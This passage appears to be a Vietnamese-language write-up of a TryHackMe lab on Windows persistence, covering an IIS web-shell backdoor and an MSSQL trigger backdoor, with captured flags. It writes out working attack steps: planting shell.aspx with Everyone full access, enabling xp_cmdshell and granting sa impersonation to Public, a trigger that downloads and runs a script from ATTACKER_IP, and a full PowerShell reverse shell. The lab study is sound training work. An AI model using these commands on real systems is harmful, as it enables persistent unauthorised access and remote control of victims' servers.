Cách phổ biến để có persistence thông qua web server là upload web shell vào thư mục của trang web. Cách này sẽ cho phép ta sử dụng shell dưới quyền của các user được cấu hình trong IIS (mặc định là iis apppool\defaultapppool). Mặc dù đây là một user không có đặc quyền nhưng nó có quyền SeImpersonatePrivilege. Ta có thể tận dụng quyền này để thực hiện leo thang đặc quyền4.

Sao chép code của ASP.NET web shell vào một file rồi chuyển vào thư mục C:\inetpub\wwwroot của máy nạn nhân:

C:\> move shell.aspx C:\inetpub\wwwroot\

Note

Nếu ta gặp lỗi “Permission Denied” khi truy cập đến URL của shell thì có nghĩa là server không có quyền truy cập đến file. Khi đó ta cần cấp quyền cho tất cả mọi người như sau: icacls shell.aspx /grant Everyone:F.

Sau khi thiết lập xong thì ta có thể dùng web shell ở URL http://IP/shell.aspx như sau:

Warning

Việc dùng web shell làm backdoor khá là thuận tiện nhưng nó dễ bị phát hiện bởi Blue team do họ liên tục kiểm tra tính toàn vẹn của file trong các thư mục web.

Sử dụng lệnh /c C:\flags\flag16.exe trên web shell để thu được cờ.

Success

THM{EZ_WEB_PERSISTENCE}

Using MSSQL as a Backdoor

Có nhiều cách để cấy backdoor ở trong Microsoft SQL Server. Một trong số đó là kích hoạt trigger khi người dùng đăng nhập, insert, update hoặc delete data.

Trước khi tạo trigger thì ta cần bật stored procedure xp_cmdshell để chạy các câu lệnh hệ thống. Bật như sau:

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
 
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

Sau đó, ta cần đảm bảo bất kỳ website nào truy cập database đều có thể chạy xp_cmdshell. Theo mặc định, chỉ những người dùng với quyền sysadmin mới có thể làm điều này. Ta cần cấp quyền giả dạng tài khoản sa (database administrator mặc định) cho tất cả người dùng:

USE master
 
GRANT IMPERSONATE ON LOGIN::sa to [Public];

Sử dụng database HRDB:

USE HRDB

Trigger bên dưới sử dụng xp_cmdshell để thực thi PowerShell nhằm tải về một file .ps1 từ web server của attacker. Điều kiện kích hoạt trigger là khi có câu lệnh INSERT vào bảng Employees trong database HRDB:

CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS
 
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

Tạo ra evilscript.ps1 có chứa reverse shell như sau:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",9999);
 
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
 
$client.Close()

Cần phải mở một terminal để host file evilscript.ps1 và một terminal để nhận reverse shell:

python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
nc -vnlp 9999
listening on [any] 9999 ...

Vào trang web của mục tiêu ở port 80 rồi thêm mới một user thì ta sẽ nhận được reverse shell. Chạy file C:\flags\flag17.exe để có cờ.

Success

THM{I_LIVE_IN_YOUR_DATABASE}

list
from outgoing([[Windows Local Persistence]])
sort file.ctime asc

Resources

Footnotes

  1. là danh sách điều khiển truy cập tùy quyền (DAC) được sử dụng bởi Windows nhằm kiềm soát ai được phép truy cập tài nguyên nào. Tài nguyên có thể là tập tin, các registry key, các dịch vụ và các tác vụ được lập lịch.

  2. xem thêm User Account Control (UAC)

  3. room Alfred cũng có đề cập đến LSASS.

  4. xem thêm SeAssignPrimaryToken